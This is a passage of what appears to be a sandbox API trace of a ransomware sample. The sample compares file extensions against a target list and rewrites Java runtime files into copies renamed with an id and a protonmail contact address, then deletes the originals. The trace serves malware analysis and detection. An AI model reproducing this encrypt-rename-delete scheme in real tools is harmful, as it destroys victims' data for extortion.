	[0086.145] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.145] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0086.145] lstrlenW (lpString="java.exe") returned 8
	[0086.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.145] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=206912) returned 1
	[0086.145] CloseHandle (hObject=0x380) returned 1
	[0086.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20
	[0086.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.145] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.145] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.145] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.146] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0086.146] GetLastError () returned 0x0
	[0086.146] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x32840, lpOverlapped=0x0) returned 1
	[0086.150] WriteFile (in: hFile=0x394, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x32850, lpOverlapped=0x0) returned 1
	[0086.154] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.154] WriteFile (in: hFile=0x394, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0086.154] SetEndOfFile (hFile=0x394) returned 1
	[0086.154] CloseHandle (hObject=0x394) returned 1
	[0086.154] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.154] SetEndOfFile (hFile=0x380) returned 1
	[0086.156] CloseHandle (hObject=0x380) returned 1
	[0086.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.157] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1
	[0086.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.157] lstrlenW (lpString=".doc") returned 4
	[0086.157] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.157] lstrlenW (lpString=".docx") returned 5
	[0086.157] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1
	[0086.157] lstrlenW (lpString=".pdf") returned 4
	[0086.157] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.157] lstrlenW (lpString=".xls") returned 4
	[0086.157] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.157] lstrlenW (lpString=".xlsx") returned 5
	[0086.157] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1
	[0086.157] lstrlenW (lpString=".ppt") returned 4
	[0086.157] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.157] lstrlenW (lpString=".zip") returned 4
	[0086.157] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.157] lstrlenW (lpString=".rar") returned 4
	[0086.157] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.157] lstrlenW (lpString=".bz2") returned 4
	[0086.157] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.157] lstrlenW (lpString=".7z") returned 3
	[0086.157] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.157] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.157] lstrlenW (lpString=".dbf") returned 4
	[0086.157] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.158] lstrlenW (lpString=".1cd") returned 4
	[0086.158] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.158] lstrlenW (lpString=".jpg") returned 4
	[0086.158] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.158] lstrlenW (lpString=".doc") returned 4
	[0086.158] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.158] lstrlenW (lpString=".docx") returned 5
	[0086.158] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1
	[0086.158] lstrlenW (lpString=".pdf") returned 4
	[0086.158] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.158] lstrlenW (lpString=".xls") returned 4
	[0086.158] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.158] lstrlenW (lpString=".xlsx") returned 5
	[0086.158] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1
	[0086.158] lstrlenW (lpString=".ppt") returned 4
	[0086.158] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.158] lstrlenW (lpString=".zip") returned 4
	[0086.158] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.158] lstrlenW (lpString=".rar") returned 4
	[0086.158] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.158] lstrlenW (lpString=".bz2") returned 4
	[0086.158] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.158] lstrlenW (lpString=".7z") returned 3
	[0086.158] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.158] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.158] lstrlenW (lpString=".dbf") returned 4
	[0086.158] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.159] lstrlenW (lpString=".1cd") returned 4
	[0086.159] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.159] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47
	[0086.159] lstrlenW (lpString=".jpg") returned 4
	[0086.159] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.159] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.159] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23
	[0086.159] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.159] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=142400) returned 1
	[0086.159] CloseHandle (hObject=0x380) returned 1
	[0086.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20
	[0086.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.159] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0086.160] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.160] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.160] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0086.160] GetLastError () returned 0x0
	[0086.160] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x22c40, lpOverlapped=0x0) returned 1
	[0086.165] WriteFile (in: hFile=0x394, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x22c50, lpOverlapped=0x0) returned 1
	[0086.423] ReadFile (in: hFile=0x380, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.423] WriteFile (in: hFile=0x394, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x102, lpOverlapped=0x0) returned 1
	[0086.423] SetEndOfFile (hFile=0x394) returned 1
	[0086.423] CloseHandle (hObject=0x394) returned 1
	[0086.423] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.423] SetEndOfFile (hFile=0x380) returned 1
	[0086.425] CloseHandle (hObject=0x380) returned 1
	[0086.425] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.036] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1
	[0087.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.059] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.059] lstrlenW (lpString=".doc") returned 4
	[0087.059] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.059] lstrlenW (lpString=".docx") returned 5
	[0087.059] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0087.059] lstrlenW (lpString=".pdf") returned 4
	[0087.059] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString=".xls") returned 4
	[0087.066] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString=".xlsx") returned 5
	[0087.066] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0087.066] lstrlenW (lpString=".ppt") returned 4
	[0087.066] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.066] lstrlenW (lpString=".zip") returned 4
	[0087.066] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString=".rar") returned 4
	[0087.066] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString=".bz2") returned 4
	[0087.066] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.066] lstrlenW (lpString=".7z") returned 3
	[0087.066] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.066] lstrlenW (lpString=".dbf") returned 4
	[0087.066] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.066] lstrlenW (lpString=".1cd") returned 4
	[0087.066] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.066] lstrlenW (lpString=".jpg") returned 4
	[0087.066] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.066] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.066] lstrlenW (lpString=".doc") returned 4
	[0087.066] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.066] lstrlenW (lpString=".docx") returned 5
	[0087.066] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0087.067] lstrlenW (lpString=".pdf") returned 4
	[0087.067] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.067] lstrlenW (lpString=".xls") returned 4
	[0087.067] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.067] lstrlenW (lpString=".xlsx") returned 5
	[0087.067] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0087.067] lstrlenW (lpString=".ppt") returned 4
	[0087.067] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.067] lstrlenW (lpString=".zip") returned 4
	[0087.067] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.067] lstrlenW (lpString=".rar") returned 4
	[0087.067] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.067] lstrlenW (lpString=".bz2") returned 4
	[0087.067] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.067] lstrlenW (lpString=".7z") returned 3
	[0087.067] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.067] lstrlenW (lpString=".dbf") returned 4
	[0087.067] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.067] lstrlenW (lpString=".1cd") returned 4
	[0087.067] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.067] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62
	[0087.067] lstrlenW (lpString=".jpg") returned 4
	[0087.067] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.067] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0087.067] lstrlenW (lpString="jjs.exe") returned 7
	[0087.068] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.068] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=15936) returned 1
	[0087.068] CloseHandle (hObject=0x394) returned 1
	[0087.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 0x20
	[0087.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.069] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.069] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.069] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0087.070] GetLastError () returned 0x0
	[0087.070] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x3e40, lpOverlapped=0x0) returned 1
	[0087.072] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x3e50, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x3e50, lpOverlapped=0x0) returned 1
	[0087.073] ReadFile (in: hFile=0x394, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.073] WriteFile (in: hFile=0x328, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0087.073] SetEndOfFile (hFile=0x328) returned 1
	[0087.073] CloseHandle (hObject=0x328) returned 1
	[0087.073] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.073] SetEndOfFile (hFile=0x394) returned 1
	[0087.074] CloseHandle (hObject=0x394) returned 1
	[0087.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.075] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jjs.exe")) returned 1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.075] lstrlenW (lpString=".doc") returned 4
	[0087.075] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.075] lstrlenW (lpString=".docx") returned 5
	[0087.075] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0087.075] lstrlenW (lpString=".pdf") returned 4
	[0087.075] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.075] lstrlenW (lpString=".xls") returned 4
	[0087.075] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.075] lstrlenW (lpString=".xlsx") returned 5
	[0087.075] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0087.075] lstrlenW (lpString=".ppt") returned 4
	[0087.075] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.075] lstrlenW (lpString=".zip") returned 4
	[0087.075] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.075] lstrlenW (lpString=".rar") returned 4
	[0087.075] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.075] lstrlenW (lpString=".bz2") returned 4
	[0087.075] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.075] lstrlenW (lpString=".7z") returned 3
	[0087.075] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.075] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.075] lstrlenW (lpString=".dbf") returned 4
	[0087.075] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.076] lstrlenW (lpString=".1cd") returned 4
	[0087.076] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.076] lstrlenW (lpString=".jpg") returned 4
	[0087.076] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.076] lstrlenW (lpString=".doc") returned 4
	[0087.076] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0087.076] lstrlenW (lpString=".docx") returned 5
	[0087.076] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1
	[0087.076] lstrlenW (lpString=".pdf") returned 4
	[0087.076] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0087.076] lstrlenW (lpString=".xls") returned 4
	[0087.076] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0087.076] lstrlenW (lpString=".xlsx") returned 5
	[0087.076] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1
	[0087.076] lstrlenW (lpString=".ppt") returned 4
	[0087.076] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.076] lstrlenW (lpString=".zip") returned 4
	[0087.076] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0087.076] lstrlenW (lpString=".rar") returned 4
	[0087.076] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0087.076] lstrlenW (lpString=".bz2") returned 4
	[0087.076] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0087.076] lstrlenW (lpString=".7z") returned 3
	[0087.076] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.076] lstrlenW (lpString=".dbf") returned 4
	[0087.076] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0087.076] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.077] lstrlenW (lpString=".1cd") returned 4
	[0087.077] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0087.077] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jjs.exe") returned 46
	[0087.077] lstrlenW (lpString=".jpg") returned 4
	[0087.077] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0087.077] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.077] lstrlenW (lpString="jli.dll") returned 7
	[0087.077] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0087.077] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=174656) returned 1
	[0087.077] CloseHandle (hObject=0x394) returned 1
	[0087.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll")) returned 0x20
	[0087.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jli.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jli.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
